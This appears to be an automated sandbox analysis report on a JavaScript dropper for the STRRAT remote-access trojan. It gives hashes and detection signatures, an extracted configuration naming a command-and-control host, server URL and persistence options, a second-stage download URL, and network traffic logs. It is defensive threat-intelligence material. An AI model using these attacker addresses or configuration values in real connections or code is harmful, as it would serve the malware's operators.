Windows Analysis Report
YPcqnc0z06.js

Overview

General Information

Sample name: YPcqnc0z06.js
renamed because original name is a hash value
Original sample name: c31cee51acf037dd2a09dd6dfddc5e889df9646af5625f827007c5b795b0dbb6.js
Analysis ID: 1540038
MD5: b60592cb963de5d1cb804db6c07dd289
SHA1: 20c09f859df663850c5f6ec109bc9a5a2831c022
SHA256: c31cee51acf037dd2a09dd6dfddc5e889df9646af5625f827007c5b795b0dbb6
Tags: jsSTRRATuser-NDA0E
Infos:

Detection

STRRAT
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected STRRAT
JavaScript source code contains functionality to generate code involving a shell, file or stream
Potential malicious VBS/JS script found (suspicious encoded strings)
Sigma detected: WScript or CScript Dropper
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Yara detected AllatoriJARObfuscator
Contains functionality to detect virtual machines (SLDT)
Contains functionality to query CPU information (cpuid)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found inlined nop instructions (likely shell or obfuscated code)
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
JavaScript source code contains large arrays or strings with random content potentially encoding malicious code
Queries the installed Java version
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Found malware configuration
Source: 00000000.00000003.1818822065.0000024FD4FEC000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: STRRAT {"C2 list": "harold.jetos.com:3601", "url": "http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5", "Proxy": "harold.jetos.com:3601", "lid": "khonsari", "Startup": "false", "Secondary Startup": "true", "Scheduled Task": "true"}
Multi AV Scanner detection for submitted file
Source: YPcqnc0z06.js ReversingLabs: Detection: 15%
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49853 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49880 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49881 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49946 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49950 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49979 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49982 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49985 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50015 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50024 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50059 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50068 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50067 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50069 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50071 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50074 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50075 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50077 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50079 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50078 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50080 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50081 version: TLS 1.2

Software Vulnerabilities
barindex
JavaScript source code contains functionality to generate code involving a shell, file or stream
Source: YPcqnc0z06.js Return value : ['"adodb.stream"'] Go to definition
Source: YPcqnc0z06.js Return value : ['"adodb.stream"'] Go to definition
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 4x nop then cmp eax, dword ptr [ecx+04h] 1_2_02CACAD8
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 199.232.192.209 199.232.192.209
Source: Joe Sandbox View IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View IP Address: 140.82.121.4 140.82.121.4
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 026e5ca865ce1f09da3a81d8a4e3effb
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: github.com
Source: global traffic DNS traffic detected: DNS query: repo1.maven.org
Source: javaw.exe, 00000001.00000002.3084950131.000000000A369000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://bugreport.sun.com/bugreport/
Source: javaw.exe, 00000001.00000002.3084950131.000000000A3FA000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt
Source: javaw.exe, 00000001.00000003.1910396170.00000000158DB000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: javaw.exe, 00000001.00000002.3084950131.000000000A3FA000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt
Source: javaw.exe, 00000001.00000002.3084950131.000000000A369000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: javaw.exe, 00000001.00000002.3084950131.000000000A3FA000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html
Source: javaw.exe, 00000001.00000002.3084950131.000000000A676000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.chambersign.org/chambersroot.crl
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A676000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A676000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A676000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A676000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: javaw.exe, 00000001.00000002.3084950131.000000000A404000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl
Source: javaw.exe, 00000001.00000003.1910396170.00000000158DB000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: javaw.exe, 00000001.00000002.3084950131.000000000A404000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl
Source: javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A369000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: javaw.exe, 00000001.00000002.3084950131.000000000A40B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl
Source: javaw.exe, 00000001.00000003.1910396170.00000000158DB000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://java.oracle.com/
Source: javaw.exe, 00000001.00000003.3024913145.00000000158BB000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A516000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3088955509.00000000158C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://null.oracle.com/
Source: javaw.exe, 00000001.00000002.3084950131.000000000A3FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com
Source: javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0A
Source: javaw.exe, 00000001.00000003.1910396170.00000000158DB000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0C
Source: javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A369000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0X
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://policy.camerfirma.com
Source: javaw.exe, 00000001.00000002.3084950131.000000000A676000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://policy.camerfirma.com0
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://repository.swisssign.com/
Source: javaw.exe, 00000001.00000002.3084950131.000000000A676000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://repository.swisssign.com/0
Source: wscript.exe, 00000000.00000003.1818531972.0000024FD5085000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://wshsoft.company/jv/jrex.zip
Source: wscript.exe, 00000000.00000003.1804138801.0000024FD506F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://wshsoft.company/jv/jrex.zipcZX
Source: javaw.exe, 00000001.00000002.3084950131.000000000A363000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.allatori.com
Source: javaw.exe, 00000001.00000002.3084950131.000000000A7A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.chambersign.org
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A676000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.chambersign.org1
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.quovadis.bm
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A516000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.quovadis.bm0
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.quovadisglobal.com/cps
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A676000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: javaw.exe, 00000001.00000002.3083554769.00000000051F4000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.0000000004E51000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.00000000050F3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.0000000004E24000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com
Source: javaw.exe, 00000001.00000002.3083554769.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/kristian/system-hook/releases/download/3.5/system-hook-3.5.jar
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ocsp.quovadisoffshore.com
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A516000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: javaw.exe, 00000001.00000002.3083554769.0000000005085000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.0000000004EC9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.00000000051B6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.00000000050C9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.0000000004EB4000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.00000000050F3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.0000000004F86000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.0000000004E24000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.0000000005129000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.0000000004E00000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.000000000518C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://repo1.maven.org
Source: javaw.exe, 00000001.00000002.3083554769.0000000004F86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://repo1.maven.org/maven2/net/java/dev/jna/jna-platform/5.5.0/jna-platform-5.5.0.jar
Source: javaw.exe, 00000001.00000002.3083554769.0000000004E00000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.000000000503E000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3089402988.0000000015D58000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.5.0/jna-5.5.0.jar
Source: javaw.exe, 00000001.00000002.3089402988.0000000015D58000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.5.0/jna-5.5.0.jarH
Source: javaw.exe, 00000001.00000002.3083284231.0000000002BF8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.5.0/jna-5.5.0.jarP
Source: javaw.exe, 00000001.00000002.3089482242.0000000015E79000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.5.0/jna-5.5.0.jarh
Source: javaw.exe, 00000001.00000002.3083554769.000000000518C000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3083554769.000000000503E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.14.2.1/sqlite-jdbc-3.14.2.1.jar
Source: javaw.exe, 00000001.00000002.3084950131.000000000A363000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.14.2.1/sqlite-jdbc-3.14.2.1.jarar
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://repository.luxtrust.lu
Source: javaw.exe, 00000001.00000002.3084950131.000000000A5A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://repository.luxtrust.lu0
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49847 -> 443
